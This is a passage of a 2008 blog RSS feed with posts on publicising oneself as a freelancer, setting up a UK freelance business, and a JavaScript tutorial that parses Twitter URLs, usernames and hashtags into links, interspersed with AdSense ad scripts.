		<category><![CDATA[brightkite]]></category>

		<category><![CDATA[contractor]]></category>

		<category><![CDATA[freelance]]></category>

		<category><![CDATA[freelancer]]></category>

		<category><![CDATA[friendfeed]]></category>

		<category><![CDATA[micro-blogging]]></category>

		<category><![CDATA[moveabletype expressionweb]]></category>

		<category><![CDATA[plurk]]></category>

		<category><![CDATA[socialthing]]></category>

		<category><![CDATA[temporary]]></category>

		<category><![CDATA[tumblr]]></category>

		<category><![CDATA[Twitter]]></category>

		<category><![CDATA[typepad]]></category>

		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=752</guid>
		<description><![CDATA[In the first part of this series I talked about setting yourself up in business. The next step is to publicise yourself and your skills. At this point, it is helpful to know exactly what line of work you want to be focusing on, since you will need to target your efforts.]]></description>
			<content:encoded><![CDATA[<p>In the <a href="/launching-yourself-as-a-freelancer" title="Launching Yourself as a Freelancer">first part of this series</a> I talked about setting yourself up in business. The next step is to publicise yourself and your skills. At this point, it is helpful to know exactly what line of work you want to be focusing on, since you will need to target your efforts.</p>
<p>In the dim and distant past, the job of publicising yourself was extremely difficult. Can you imagine life without the Internet, mobile telephones and email? How did people ever do business? With the advent of the World Wide Web and in particular search engines and blogging, this all changed and a wealth of opportunity has become available, especially to the freelancer.</p>
<p>But where do you start?</p>
<h3>Create a Brand</h3>
<p>Creating a brand is a great way to market yourself. This does not have to be the same as your company, and through time you may set up different brands for different sectors or ideas you may have. Brands serve to create associations and therefore, expectations of products you create, so a good brand name is a great way to get recognised in your community.</p>
<p>You can <a href="http://www.ipo.gov.uk" title="UK Intellectual Property Office" target="_blank" rel="nofollow">register the brand</a> in the <acronym title="United Kingdom">UK</acronym>, Europe and the <acronym title="United States">US</acronym>, although the latter requires a <acronym title="United States">US</acronym> address. It is also not a given that your brand registration will be successful, making it a costly exercise. Careful consideration is what is needed here.</p>
<h3>Create an Avatar</h3>
<p>Avatars are images or icons that represent you in the online world. They are an extension of your brand. For example, the header of my website is also my <a href="http://en.wikipedia.org/wiki/Favicon" title="Wikipedia: Favicon" target="_blank" rel="nofollow">favicon</a> and <a href="http://en.wikipedia.org/wiki/Avatar_(computing)" title="Wikipedia: Avatar" target="_blank" rel="nofollow">avatar</a> on various online services. It is a great way for people to draw an association between your online presence and you.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Create a Blog</h3>
<p>Blogs are a great way to get yourself known and therefore heard amongst your peer group. Your blog should really be an extension of your brand and is a great avenue to showcase your skills, demo example applications, code and designs, or simply give your opinion on a subject.</p>
<p>I use the excellent <a href="http://wordpress.org" title="WordPress" target="_blank" rel="nofollow">WordPress</a> blogging application, in a self-hosted environment. You don&#8217;t need to do this since there is a hosted version at <a href="http://www.wordpress.com" title="WordPress.com" target="_blank" rel="nofollow">WordPress.com</a>, or you could use <a href="http://www.blogger.com" title="Blogger" target="_blank" rel="nofollow">Blogger</a>, another popular blogging platform, provided by Google.</p>
<p>The key to blogging is talk about what you enjoy, don&#8217;t just keep it technical. Blogs should be an extension of you, not an avenue for pretentious comment; you&#8217;ll soon be found out!</p>
<p>If you go the self-hosted route, you&#8217;ll need a domain name, hosting provider and obviously a blog application. I have listed a few below that can get you started.</p>
<p>Domain Names:</p>
<ul>
<li>
<a href="http://www.nominet.org.uk/" title="Nominet" target="_blank" rel="nofollow">Nominet</a></li>
<li>
<a href="http://www.easily.co.uk" title="Easily" target="_blank" rel="nofollow">Easily</a></li>
<li>
<a href="http://www.eurodns.com" title="EuroDNS" target="_blank" rel="nofollow">EuroDNS</a></li>
</ul>
<p>Hosting Providers:</p>
<ul>
<li>
<a href="http://www.hostmysite.com" title="HostMySite" target="_blank" rel="nofollow">HostMySite</a></li>
<li>
<a href="http://www.titanhosts.net" title="Titan Internet" target="_blank" rel="nofollow">Titan Internet</a></li>
<li>
<a href="http://www.flinthosts.co.uk" title="Flint Hosts" target="_blank" rel="nofollow">Flint Hosts</a></li>
<li>
<a href="http://www.ukhost4u.co.uk" title="UKHost4U" target="_blank" rel="nofollow">UKHost4U</a></li>
<li>
<a href="http://www.1and1.co.uk" title="1and1" target="_blank" rel="nofollow">1and1</a></li>
</ul>
<p>Blog Applications:</p>
<ul>
<li>
<a href="http://wordpress.org" title="WordPress.org" target="_blank" rel="nofollow">WordPress</a> (free)</li>
<li>
<a href="http://www.movabletype.org" title="Moveable Type" target="_blank" rel="nofollow">Moveable Type</a> (free)</li>
<li>
<a href="http://expressionengine.com" title="ExpressionEngine" target="_blank" rel="nofollow">ExpressionEngine</a> (free)</li>
<li>
<a href="http://www.typepad.com" title="TypePad" target="_blank" rel="nofollow">TypePad</a></li>
</ul>
<p>If going the self-hosted is all too complicated for you or you simply don&#8217;t want the hassle that is associated with self-hosting, all is not lost. WordPress.com and Blogger are for you.</p>
<p>Blog Hosting Providers:</p>
<ul>
<li>
<a href="http://www.wordpress.com" title="WordPress.com" target="_blank" rel="nofollow">WordPress.com</a></li>
<li>
<a href="http://www.blogger.com" title="Blogger" target="_blank" rel="nofollow">Blogger</a></li>
</ul>
<p>Both services take the onus away from the user when it comes to management (backups, plugins etc). At the simplest level, all you need to do is create and publish the content.</p>
<h3>Join feed aggregators</h3>
<p>To get noticed in the blogosphere, you can&#8217;t simply rely on the Google, Yahoo! and Microsoft search engines ranking your site. You will need to alert your peers to the fact that you&#8217;ve created some content that is worth reading. You can achieve this with feed aggregators. </p>
<p>Below I list a few that I use:</p>
<ul>
<li>
<a href="http://feeds.adobe.com" title="Adobe Feeds" target="_blank" rel="nofollow">Adobe</a></li>
<li>
<a href="http://www.fullasagoog.com" title="Full as a Goog" target="_blank" rel="nofollow">Full-as-a-Goog</a></li>
<li>
<a href="http://coldfusionbloggers.org" title="ColdFusion Bloggers" target="_blank" rel="nofollow">ColdFusionBloggers</a></li>
<li>
<a href="http://www.feed-squirrel.com" title="Feed Squirrel" target="_blank" rel="nofollow">Feed Squirrel</a></li>
<li>
<a href="http://londonbloggers.iamcal.com" title="London Bloggers" target="_blank" rel="nofollow">London Bloggers</a></li>
</ul>
<p>If you use WordPress, then you&#8217;re in luck. WordPress has a service called <a href="http://pingomatic.com" title="Ping-o-matic!" target="_blank" rel="nofollow">Ping-o-matic</a>, which updates different search engines when your blog has been updated. You can also add your own services to ping and therefore notify the service of new content.</p>
<h3>Comment on Blogs</h3>
<p>Commenting on blogs is another great way of getting yourself known as well as offering an opinion. Since comments allow you to include a link back to your website, try and comment as your brand.</p>
<p>One tip, try not to be defamatory towards the blog owner, or others unless you have a strong justification for doing so. It&#8217;s all about the karma!</p>
<h3>Join Micro-Blogging Services</h3>
<p>If blogging is not your thing or you don&#8217;t have time to write articles, there are a number of blogging and, more importantly, <a href="http://en.wikipedia.org/wiki/Micro-blogging" title="Wikipedia: Micro-Blogging" target="_blank" rel="nofollow">micro-blogging</a> services available to you that allow you to get your thoughts out into the wide-world.</p>
<p>Such services include the not-always-venerable <a href="http://twitter.com" title="Twitter" target="_blank" rel="nofollow">Twitter</a>, the feature rich <a href="http://pownce.com" title="Pownce" target="_blank" rel="nofollow">Pownce</a>, the new kid on the block <a href="http://www.plurk.com" title="Plurk" target="_blank" rel="nofollow">Plurk</a> and the blogging service, <a href="http://www.tumblr.com" title="Tumblr" target="_blank" rel="nofollow">Tumblr</a>.</p>
<p>Building a following will allow you to announce to your followers important events and ask questions of them.</p>
<h3>What&#8217;s Next</h3>
<p>In the next part of this series, I&#8217;ll talk about networking, a natural extension to publicising yourself on the web.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer-publicity/feed</wfw:commentRss>
		</item>
		<item>
		<title>Launching Yourself as a Freelancer</title>
		<link>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer</link>
		<comments>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer#comments</comments>
		<pubDate>Mon, 04 Aug 2008 12:54:56 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[Freelancing]]></category>

		<category><![CDATA[accountant]]></category>

		<category><![CDATA[company registration]]></category>

		<category><![CDATA[contractor]]></category>

		<category><![CDATA[freelance]]></category>

		<category><![CDATA[freelancer]]></category>

		<category><![CDATA[Inland Revenue]]></category>

		<category><![CDATA[insurance]]></category>

		<category><![CDATA[Internal Revenue Service]]></category>

		<category><![CDATA[IRS]]></category>

		<category><![CDATA[PAYE]]></category>

		<category><![CDATA[Professional Contractors Group]]></category>

		<category><![CDATA[tax]]></category>

		<category><![CDATA[temporary]]></category>

		<category><![CDATA[VAT]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=643</guid>
		<description><![CDATA[You're an experienced designer or developer with aspirations to become a freelancer. Shrugging off the corporate cloak —"It's cosy! It fits well! You've had it for years!" — is becoming more and more common.]]></description>
			<content:encoded><![CDATA[<p>You&#8217;re an experienced designer or developer with aspirations to become a freelancer. Shrugging off the corporate cloak —&#8221;It&#8217;s cosy! It fits well! You&#8217;ve had it for years!&#8221; — is becoming more and more common.</p>
<p>Most creative people are unable to make a living from the sale of their work alone and therefore becoming self-employed as a freelancer enables you to manage your finances more effectively by earning additional money from short- or medium-term opportunities.</p>
<p>Graphic design, illustration, photography, journalism, writing, web design and development, training and copywriting are some of the sectors that use freelancers on a regular basis. Infact, many freelancers I know don&#8217;t simply work in one area. For example, my working month is a mixture of web development, writing and training and this is not uncommon among my peers as well.</p>
<p>There are numerous other considerations. Freelancers can, when the market is buoyant, choose their contract location and duration. They can also decide the length of their holidays (although this isn&#8217;t always the case). This greater freedom brings a major responsibility; you have to find work. This can be easy when many projects are underway, but can be difficult at other times. Furthermore, you will have to manage your own finances, which may perhaps involve dealing with an accountant, filling in payroll, tax and <acronym title="Value Added Tax">VAT</acronym> forms etcetera.</p>
<p>In this four-part series, I share some thoughts on what you may want to consider when setting up and &#8216;going it alone&#8217;. The detail is <abbr title="United Kingdom">UK</abbr>-centric, but much of what I say is transferable to other regions.</p>
<p>The first in the series is setting up a business.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Register a Company</h3>
<p>To be a serious freelancer, you can&#8217;t simply do work &#8216;cash-in-hand&#8217;. Instead you will need to set up a company through which you will work. This is not a complicated task and there are a number of companies out there who will do all the hard work for you, albeit for a small fee.</p>
<p>You can check <a href="http://www.companieshouse.gov.uk/" title="Companies House" target="_blank" rel="nofollow">Companies House</a> for the availability of your company name and submit the company formation directly through them if you wish.</p>
<h3>Get an Accountant</h3>
<p>If you&#8217;re like me and can&#8217;t be bothered (or indeed don&#8217;t have the time) to sit down every month to compile accounts, process payroll and submit <acronym title="Value Added Tax">VAT</acronym> returns, it is a good idea to get yourself a trustworthy accountant who specialises in freelancing matters. Ask friends for recommendations, since it can be daunting task finding someone who will work for you.</p>
<p>The Inland Revenue in the <abbr title="United Kingdom">UK</abbr> and the Internal Revenue Service in the <abbr title="United States of America">US</abbr> will always want their money and on time, so it is important that you manage submissions correctly.</p>
<h3>Join the PCG</h3>
<p>The <a href="http://www.pcg.org.uk" title="Professional Contractors Group" target="_blank" rel="nofollow">Professional Contractors Group</a> (<abbr title="Professional Contractors Group">PCG</abbr>) is an organisation set up to support contractors and freelancers. For a small fee per year, you can gain access to a huge knowledge base of articles on your chosen topic and they also provide support if the Inland Revenue come calling.</p>
<h3>Get Insurance</h3>
<p>Many companies oblige their freelancers to get Professional Indemnity (<abbr title="Professional Indemnity">PI</abbr>) insurance, which may, in some instances, also include equipment, Public Liability and Employer&#8217;s Liability insurance.</p>
<p>You can get away without having this insurance, especially if the company you work for has a dedicated <abbr title="Qualtity Assurance">QA</abbr> team, which will soon catch any shoddy work before it is released live. However, it is always best to cover your back.</p>
<p>If you&#8217;re a member of the <abbr title="Professional Contractors Group">PCG</abbr>, they can offer advice and discounts on <abbr title="Professional Indemnity">PI</abbr> insurance. This is quite good since the insurance can be relatively pricey!</p>
<h3>What&#8217;s Next</h3>
<p>The next post in the series will focus on publicising you and your company. This involves creating a brand, blogging and using 3rd-party services.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/launching-yourself-as-a-freelancer/feed</wfw:commentRss>
		</item>
		<item>
		<title>Parsing Twitter Usernames, Hashtags and URLs with JavaScript</title>
		<link>http://www.simonwhatley.co.uk/parsing-twitter-usernames-hashtags-and-urls-with-javascript</link>
		<comments>http://www.simonwhatley.co.uk/parsing-twitter-usernames-hashtags-and-urls-with-javascript#comments</comments>
		<pubDate>Mon, 21 Jul 2008 14:10:48 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[parsing]]></category>

		<category><![CDATA[Rob Douglas]]></category>

		<category><![CDATA[tag]]></category>

		<category><![CDATA[Twitter]]></category>

		<category><![CDATA[url]]></category>

		<category><![CDATA[username]]></category>

		<guid isPermaLink="false">http://www.simonwhatley.co.uk/?p=646</guid>
		<description><![CDATA[As part of an AIR project that I have been working on with my good friend Rob, we came across the need to parse a number of URLs within the text of a Twitter post. This may not sound too easy at first, but thanks to the prototype property available on JavaScript objects, our task was a relatively simple one.]]></description>
			<content:encoded><![CDATA[<p>As part of an <acronym title="Adobe Integrated Runtime">AIR</acronym> project that I have been working on with my good friend <a href="http://www.anucreative.com" title="Rob Douglas" target="_blank" rel="nofollow">Rob</a>, we came across the need to parse a number of <abbr title="Universal Resource Locator">URL</abbr>s within the text of a <a href="http://twitter.com" title="Twitter" target="_blank" rel="nofollow">Twitter</a> post. This may not sound too easy at first, but thanks to the prototype property available on JavaScript objects, our task was a relatively simple one. </p>
<p>The prototype object of JavaScript is a prebuilt object that simplifies the process of adding custom properties or methods to all instances of an object. For example, there is not a <code>trim()</code> method available on the <code>String</code> class, therefore, through the wizardry of regular expressions and the prototype property, I can add one. </p>
<p>You simply need to specify <code>String.prototype</code> before your method definition. e.g.:</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;">String.<span style="color: #006600;">prototype</span>.<span style="color: #006600;">trim</span> <span style="color: #339933;">=</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span> 
	<span style="color: #0000C0; font-weight: bold;">return</span> <span style="color: #0000C0; font-weight: bold;">this</span>.<span style="color: #006600;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">/^\s+|\s+$/g</span><span style="color: #339933;">,</span><span style="color: #005C00;">&quot;&quot;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span></pre></div></div>

<p>With this in mind, we can add methods to our <code>String</code> class, at runtime, that will allow us to manipulate the text string that is passed back in a Twitter <acronym title="JavaScript Object Notation">JSON</acronym> packet.</p>
<h3>The Goal</h3>
<p>To auto-magically parse different types of links within a text string. We will look at standard <abbr title="Universal Resource Locator">URL</abbr> links, links applied to <a href="http://twitter.com" title="Twitter" target="_blank" rel="nofollow">Twitter</a> usernames and those applied to <a href="http://twitter.pbwiki.com/Hashtags" title="Twitter Hashtags" target="_blank" rel="nofollow">Hashtags</a>.</p>
<h3>Demo</h3>
<p>The demonstration simply takes a test string and outputs it to the screen using JavaScript.</p>
<p><a href="http://www.simonwhatley.co.uk/examples/twitter/prototype/">See the demo in action.</a></p>
<h3>Parsing URLs as Links to the resource</h3>
<p>First we create a custom method of the <code>String.prototype</code> property called <code>parseURL</code>. When invoked on a string, the regular expression finds any instance of a <abbr title="Universal Resource Locator">URL</abbr> and will wrap the <abbr title="Universal Resource Locator">URL</abbr> with an <abbr title="HyperText Markup Language">HTML</abbr> anchor, with the correct <code>href</code> attribute and value applied.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;">String.<span style="color: #006600;">prototype</span>.<span style="color: #006600;">parseURL</span> <span style="color: #339933;">=</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #0000C0; font-weight: bold;">return</span> <span style="color: #0000C0; font-weight: bold;">this</span>.<span style="color: #006600;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">/[A-Za-z]+:\/\/[A-Za-z0-9-_]+\.[A-Za-z0-9-_:%&amp;\?\/.=]+/</span><span style="color: #339933;">,</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span>url<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
		<span style="color: #0000C0; font-weight: bold;">return</span> url.<span style="color: #006600;">link</span><span style="color: #000000;">&#40;</span>url<span style="color: #000000;">&#41;</span>;
	<span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>;</pre></div></div>

<p><strong>Demo 1.</strong></p>
<p>We can simply demonstrate the parsing of the link with the following code in the body of the page:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span><span style="color: #000066;">&gt;</span></span>
var test = &quot;Simon Whatley's online musings can be found at: http://www.simonwhatley.co.uk&quot;;
document.write(test.parseURL());
<span style="color: #000099;"><span style="color: #000066;">&lt;/script&gt;</span></span></pre></div></div>

<p>In the above example, a simple string variable is created called <code>test</code>, which contains a <abbr title="Universal Resource Locator">URL</abbr>. The text does not contain any <abbr title="HyperText Markup Language">HTML</abbr> at this stage. We then write out the <code>test</code> variable applying the <code>parseURL()</code> method to it.</p>
<p>The resultant <abbr title="HyperText Markup Language">HTML</abbr> generated is the following:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;">Simon Whatley's online musings can be found at: <span style="color: #000099;"><span style="color: #000066;">&lt;a</span> <span style="color: #000066;">href</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;http://www.simonwhatley.co.uk&quot;</span><span style="color: #000066;">&gt;</span></span>http://www.simonwhatley.co.uk<span style="color: #000099;"><span style="color: #000066;">&lt;/a&gt;</span></span></pre></div></div>

<p>When rendered in a browser, the code becomes a hyper-link.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Parsing Usernames as Links to Twitter</h3>
<p>Following on from the <abbr title="Universal Resource Locator">URL</abbr> example above, we can apply a similar methodology to Twitter usernames since they can also be <abbr title="Universal Resource Locator">URL</abbr>s to their associated Twitter page.</p>
<p>Again we create a custom method of the <code>String.prototype</code> property, this time we&#8217;ll called it <code>parseUser</code>. The regular expression in this case finds all instances of <code>@username</code>. We then simply replace the <code>@</code> as this is not part of the actual username. The Twitter <abbr title="Universal Resource Locator">URL</abbr> is then applied to the username.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;">String.<span style="color: #006600;">prototype</span>.<span style="color: #006600;">parseUsername</span> <span style="color: #339933;">=</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #0000C0; font-weight: bold;">return</span> <span style="color: #0000C0; font-weight: bold;">this</span>.<span style="color: #006600;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">/[@]+[A-Za-z0-9-_]+/</span><span style="color: #339933;">,</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span>u<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
		<span style="color: #0000C0; font-weight: bold;">var</span> username <span style="color: #339933;">=</span> u.<span style="color: #006600;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #005C00;">&quot;@&quot;</span><span style="color: #339933;">,</span><span style="color: #005C00;">&quot;&quot;</span><span style="color: #000000;">&#41;</span>
		<span style="color: #0000C0; font-weight: bold;">return</span> u.<span style="color: #006600;">link</span><span style="color: #000000;">&#40;</span><span style="color: #005C00;">&quot;http://twitter.com/&quot;</span><span style="color: #339933;">+</span>username<span style="color: #000000;">&#41;</span>;
	<span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>;</pre></div></div>

<p><strong>Demo 2.</strong></p>
<p>We can simply demonstrate this with the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span><span style="color: #000066;">&gt;</span></span>
var test = &quot;@whatterz is writing a post about JavaScript.&quot;;
document.writeln(test.parseUsername());
<span style="color: #000099;"><span style="color: #000066;">&lt;/script&gt;</span></span></pre></div></div>

<p>The resultant <abbr title="HyperText Markup Language">HTML</abbr> generated is the following:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;a</span> <span style="color: #000066;">href</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;http://twitter.com/whatterz&quot;</span><span style="color: #000066;">&gt;</span></span>@whatterz<span style="color: #000099;"><span style="color: #000066;">&lt;/a&gt;</span></span> is writing a post about JavaScript</pre></div></div>

<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
<h3>Parsing Hashtags as Links to Twitter&#8217;s Search</h3>
<p>Finally, Twitter also allows user&#8217;s to create Hastags within their posts. Hashtags are a community-driven convention for adding additional context and metadata to your tweets. Like regular <abbr title="Universal Resource Locator">URL</abbr>s and usernames, Hastags can been parsed as a <abbr title="Universal Resource Locator">URL</abbr> to an online resource, in this case, Twitter&#8217;s search.</p>
<p>Again we create a custom method of the <code>String.prototype</code> property, this time we&#8217;ll called it <code>parseHashtag</code>. The regular expression in this case finds all instances of <code>#hashtag</code>. The Twitter Search <abbr title="Universal Resource Locator">URL</abbr> is then applied to the hashtag.</p>

<div class="wp_syntax"><div class="code"><pre class="javascript javascript" style="font-family:monospace;">String.<span style="color: #006600;">prototype</span>.<span style="color: #006600;">parseHashtag</span> <span style="color: #339933;">=</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span><span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
	<span style="color: #0000C0; font-weight: bold;">return</span> <span style="color: #0000C0; font-weight: bold;">this</span>.<span style="color: #006600;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #808080;">/[#]+[A-Za-z0-9-_]+/</span><span style="color: #339933;">,</span> <span style="color: #0000C0; font-weight: bold;">function</span><span style="color: #000000;">&#40;</span>t<span style="color: #000000;">&#41;</span> <span style="color: #000000;">&#123;</span>
		<span style="color: #0000C0; font-weight: bold;">var</span> tag <span style="color: #339933;">=</span> t.<span style="color: #006600;">replace</span><span style="color: #000000;">&#40;</span><span style="color: #005C00;">&quot;#&quot;</span><span style="color: #339933;">,</span><span style="color: #005C00;">&quot;%23&quot;</span><span style="color: #000000;">&#41;</span>
		<span style="color: #0000C0; font-weight: bold;">return</span> t.<span style="color: #006600;">link</span><span style="color: #000000;">&#40;</span><span style="color: #005C00;">&quot;http://search.twitter.com/search?q=&quot;</span><span style="color: #339933;">+</span>tag<span style="color: #000000;">&#41;</span>;
	<span style="color: #000000;">&#125;</span><span style="color: #000000;">&#41;</span>;
<span style="color: #000000;">&#125;</span>;</pre></div></div>

<p><strong>Demo 3.</strong></p>
<p>We can simply demonstrate this with the following code:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span><span style="color: #000066;">&gt;</span></span>
var test = &quot;Simon is writing a post about #twitter and parsing hashtags as URLs&quot;;
document.writeln(test.parseHashtag());
<span style="color: #000099;"><span style="color: #000066;">&lt;/script&gt;</span></span></pre></div></div>

<p>The resultant <abbr title="HyperText Markup Language">HTML</abbr> generated is the following:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;code&gt;</span></span>
Simon is writing a post about <span style="color: #000099;"><span style="color: #000066;">&lt;a</span> <span style="color: #000066;">href</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;http://search.twitter.com/search?q=%23twitter&quot;</span><span style="color: #000066;">&gt;</span></span>#twitter<span style="color: #000099;"><span style="color: #000066;">&lt;/a&gt;</span></span> and parsing hashtags as URLs
<span style="color: #000099;"><span style="color: #000066;">&lt;/code&gt;</span></span></pre></div></div>

<p>NB. Twitter&#8217;s search was originally provided by Summize. However, as of July 2008, they have been bought by Twitter and the search can be found at <a href="http://search.twitter.com" title="Twitter Search" target="_blank" rel="nofollow">http://search.twitter.com</a>.</p>
<h3>Where to take it next</h3>
<p>Using the above code, we can now create a simple Twitter feed reader. Using, for example jQuery, to get and parse the Twitter <acronym title="JavaScript Object Notation">JSON</acronym> packet we can then apply the prototype methods to the text entries.</p>
<p>It is also worth noting that it is possible to cascade the methods, so we can do the following:</p>

<div class="wp_syntax"><div class="code"><pre class="html html" style="font-family:monospace;"><span style="color: #000099;"><span style="color: #000066;">&lt;script</span> <span style="color: #000066;">type</span><span style="color: #0000ff;">=</span><span style="color: #009900;">&quot;text/javascript&quot;</span><span style="color: #000066;">&gt;</span></span>
var test = &quot;@whatterz is writing a blog post about #twitter, which can be found at http://www.simonwhatley.co.uk&quot;;
document.writeln(test.parseURL().parseUsername().parseHashtag());
<span style="color: #000099;"><span style="color: #000066;">&lt;/script&gt;</span></span></pre></div></div>

<h3>Download the code</h3>
<p>The <a href="http://www.simonwhatley.co.uk/examples/twitter/prototype/">example code</a> can be downloaded from the demo page.</p>
<p><p align="center"><script type="text/javascript"><!--
google_ad_client = "pub-6475233631580417";
google_ui_features = "rc:0";
google_ad_width = 468;
google_ad_height = 60;
google_ad_format = "468x60_as";
google_ad_type = "text";
google_color_border = "ffffff";
google_color_bg = "ffffff";
google_color_link = "0f6b99";
google_color_text = "808080";
google_color_url = "0f6b99";

//--></script>
<script type="text/javascript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
</p></p>
]]></content:encoded>
			<wfw:commentRss>http://www.simonwhatley.co.uk/parsing-twitter-usernames-hashtags-and-urls-with-javascript/feed</wfw:commentRss>
		</item>
		<item>
		<title>Using jQuery Auto-Complete with ColdFusion</title>
		<link>http://www.simonwhatley.co.uk/using-jquery-auto-complete-with-coldfusion</link>
		<comments>http://www.simonwhatley.co.uk/using-jquery-auto-complete-with-coldfusion#comments</comments>
		<pubDate>Wed, 16 Jul 2008 16:28:05 +0000</pubDate>
		<dc:creator>Simon</dc:creator>
		
		<category><![CDATA[ColdFusion]]></category>

		<category><![CDATA[JavaScript]]></category>

		<category><![CDATA[jQuery]]></category>

		<category><![CDATA[autocomplete]]></category>

		<category><![CDATA[Dylan Verheul]]></category>

		<category><![CDATA[Framework]]></category>

		<category><![CDATA[jquery]]></category>

		<category><![CDATA[plugin]]></category>

		<category><![CDATA[tutorial]]></category>

